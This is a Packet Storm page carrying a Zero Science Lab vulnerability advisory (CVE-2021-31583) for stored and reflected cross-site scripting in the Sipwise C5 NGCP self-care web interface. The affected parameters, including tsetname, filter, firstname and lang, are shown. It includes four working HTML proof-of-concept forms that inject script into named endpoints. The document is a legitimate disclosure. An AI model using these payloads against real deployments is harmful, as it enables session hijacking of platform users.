

Sipwise C5 NGCP CSC Cross Site Scripting

Authored by [LiquidWorm](#) | Site [zeroscience.mk](#)

Posted Apr 23, 2021

Sipwise software platform suffers from multiple authenticated stored and reflected cross site scripting vulnerabilities when input passed via several parameters to several scripts is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Versions affected include CE_m39.3.1 and below and NGCP www_admin version 3.6.7.

tags | [exploit](#), [arbitrary](#), [vulnerability](#), [xss](#)
advisories | [CVE-2021-31583](#)

SHA-256 | [3a637df610f4399d79b660fd154117f140f2a37f20b84a0e7e662794af91313a](#) [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Twef

LinkedIn

Reddit

Digg

StumbleUpon

[Change Mirror](#)[Download](#)

Sipwise C5 NGCP CSC Multiple Stored/Reflected XSS Vulnerabilities

Vendor: Sipwise GmbH
Product web page: <https://www.sipwise.com>
Affected version: <=CE_m39.3.1
NGCP www_admin version 3.6.7

Summary: Sipwise CS (also known as NGCP - the Next Generation Communication Platform) is a SIP-based Open Source Class 5 VoIP soft-switch platform that allows you to provide rich telephony services. It offers a wide range of features (e.g. call forwarding, voicemail, conferencing etc.) that can be configured by end users in the self-care web interface. For operators, it offers a web-based administrative panel that allows them to configure subscribers, SIP peerings, billing profiles, and other entities. The administrative web panel also shows the real-time statistics for the whole system. For tight integration into existing infrastructures, Sipwise C5 provides a powerful REST API interface.

Desc: Sipwise software platform suffers from multiple authenticated stored and reflected cross-site scripting vulnerabilities when input passed via several parameters to several scripts is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Tested on: Apache/2.2.22 (Debian)
Apache/2.2.16 (Debian)
nginx

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience

Advisory ID: ZSL-2021-5648
Advisory URL: <https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5648.php>

CVE ID: CVE-2021-31583
CVE URL: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31583>

13.04.2021

--

Stored XSS (POST tsetname):

```
<html>
<body>
  <form action="https://10.0.1.7/callforward/time/set/save" method="POST">
    <input type="hidden" name="tsetname" value=""><script>confirm(251)</script>' />
    <input type="hidden" name="subscriber_id" value="401" />
    <input type="hidden" name="x" value="90027" />
    <input type="hidden" name="y" value="-1" />
    <input type="submit" value="Go for callforward" />
  </form>
</body>
</html>
```

Reflected XSS (GET filter):

```
<html>
<body>
  <form action="https://10.0.1.7/addressbook" method="GET">
    <input type="hidden" name="filter" value=""><script>confirm(251)</script>' />
    <input type="hidden" name="x" value="0" />
    <input type="hidden" name="homephonenumber" value="111223333" />
    <input type="submit" value="Go for addressbook" />
  </form>
</body>
</html>
```

Stored XSS (POST firstname, lastname, company):

```
<html>
<body>
  <form action="https://10.0.1.7/addressbook/save" method="POST">
    <input type="hidden" name="firstname" value=""><script>alert(251)</script>' />
    <input type="hidden" name="lastname" value=""><script>alert(251)</script>' />
    <input type="hidden" name="x" value="0" />
    <input type="hidden" name="homephonenumber" value="111223333" />
    <input type="hidden" name="phonenumber" value="333221111" />
    <input type="hidden" name="mobilenumber" value="" />
    <input type="hidden" name="faxnumber" value="" />
    <input type="hidden" name="email" value="lab40zeroscience.mk" />
    <input type="hidden" name="homepage" value="" />
    <input type="hidden" name="id" value="" />
    <input type="hidden" name="x" value="89957" />
    <input type="hidden" name="y" value="21" />
    <input type="submit" value="Go for addressbook 2" />
  </form>
</body>
</html>
```

Reflected XSS (GET lang):

```
<html>
<body>
  <form action="https://10.0.1.7/statistics/versions" method="GET">
    <input type="hidden" name="lang" value="en"-alert(251)-"ZSL" />
    <input type="submit" value="Go for statistics" />
  </form>
</body>
</html>
```

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11security 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (6,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	

File Archives

File Upload (946)	
Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,600)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	IOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

Systems

Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,600)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	IOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

[Login](#) or [Register](#) to add favorites

- [Spoof](#) (2,166)
- [SQL Injection](#) (16,102)
- [TCP](#) (2,379)
- [Trojan](#) (686)
- [UDP](#) (676)
- [Virus](#) (662)
- [Vulnerability](#) (31,136)
- [Web](#) (9,365)
- [Whitepaper](#) (3,729)
- [x86](#) (946)
- [XSS](#) (17,494)
- [Other](#)
- [SUSE](#) (1,444)
- [Ubuntu](#) (8,199)
- [UNIX](#) (9,159)
- [UnixWare](#) (185)
- [Windows](#) (6,511)
- [Other](#)



© 2022 Packet Storm. All rights reserved.

Site Links


- [News by Month](#)
- [News Tags](#)
- [Files by Month](#)
- [File Tags](#)
- [File Directory](#)


About Us

- [History & Purpose](#)
- [Contact Information](#)
- [Terms of Service](#)
- [Privacy Statement](#)
- [Copyright Information](#)

Hosting By

- [Rokasec](#)

 [Follow us on Twitter](#)

 [Subscribe to an RSS Feed](#)